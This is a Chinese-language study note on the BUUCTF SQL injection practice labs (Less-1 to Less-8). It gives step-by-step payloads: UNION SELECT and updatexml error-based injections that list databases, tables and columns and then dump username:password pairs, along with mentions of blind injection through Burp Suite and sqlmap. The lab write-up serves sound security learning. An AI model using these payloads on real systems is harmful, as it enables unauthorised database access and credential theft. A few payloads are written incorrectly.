BUUCTF练习
sql注入
本质:将用户输入的不可信数据当作代码去执行
条件:用户控制输入,原本程序要执行的代码,拼接用户输入的内容,然后去执行
第一题http://1c71b02a-c58f-4ee9-a951-7efe3109c4d6.node4.buuoj.cn/Less-1/
单引号报错输入
1,查看是否闭合,输入?id=1’时,一直显示near ‘‘1’’ LIMIT 0,1’ at line 1,所以猜测id是闭合的,且是字符型注入
2,输入1’ --+
3,使用order by查看有多少列,使用order by对前面的数据进行排序,本题只有三列,同时要查找的数据在第二列
4,查找数据库名,使用http://192.168.67.134/sqli/Less-1/?id=0’ union select 1,user(),database() --+
这里为了报错,使用0,同时查看数据库用户以及数据库名称
5,查询数据库表名使用http://192.168.67.134/sqli/Less-1/?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
6,查找字段
使用http://192.168.67.134/sqli/Less-1/?id=0’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+//注意,这里的数据库名一定要用单引号,因为是一个字符
7,查询字段的值使用http://192.168.67.134/sqli/Less-1/?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+ //使用0x3a是冒号的作用
第二题http://1c71b02a-c58f-4ee9-a951-7efe3109c4d6.node4.buuoj.cn/Less-2/
1,当输入?id=1’时
出现 " limit 1’判断是整型输入,所以是?id=1
2,再是使用order by查看列数
3,使用联合词 union select1,2,3查看用户以及数据库的位置
4,在时使用 union select 1,user(),database() --+查看相应的名字
5,下边的步骤跟第一题的一样,就能够成注入
第三题http://195a5279-98ad-4455-a0fb-f9416c70ece9.node4.buuoj.cn/Less-3/
1,当输入单引号字符型时,
alt
2,下边的步骤跟之前前两题一样的方法
第四题
题型是双引号加括号,做题方法跟前面的一样
前四题总结一下,都可以采用联合注入与报错注入
第五题
这里无论输入什么,显示都是显示YOU ARE IN…(采用联合注入都没有数据可以显示)
输入1’时
本题尝试用报错注入,布尔型注入,时间盲注等等,工程量比较大。。。。
最好采用sqlmap
这题说明了闭合状态就是 ’
1,
解决方法采用的就是报错注入
2,查询有多少列
3,查询数据库名
?id=-1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) --+
4,查询字段名
?id=-1’ and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),0x7e),1) --+
可以判断出本题就是盲注
6,查询字段里的数据
?id=-1’ and updatexml(1,concat(0x7e,select(username,0x3a,password) from user),0x7e),1) --+
发现不能全部显示,所以采用加入id=…来进行逐个查看
http://d2eaf102-0b78-41c7-8f16-4b42a64d2bd8.node4.buuoj.cn/Less-5/?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x3a,password)%20from%20users%20where%20id=1),0x7e),1)%20–+
第六题
这题与第五题进行对比,可以看到只是闭合的方式不同而已,采用的是双引号
所以做题方法跟第五题一摸一样
第七题
这题一开始写是没有思路的,去查看别人的做题记录
总结,没有弄懂
第八题
本题是布尔型盲注
1,当输入时?id=1时
2,输入2’时
可以判断闭合方式是’
3,判断长度是多少如图可以知道长度为八
4,下一步就是拆解数据库的名字
使用burpsuite抓包instruder,查找到数据库的名字
5,再是采用sqlmap查字段,查字段的数据等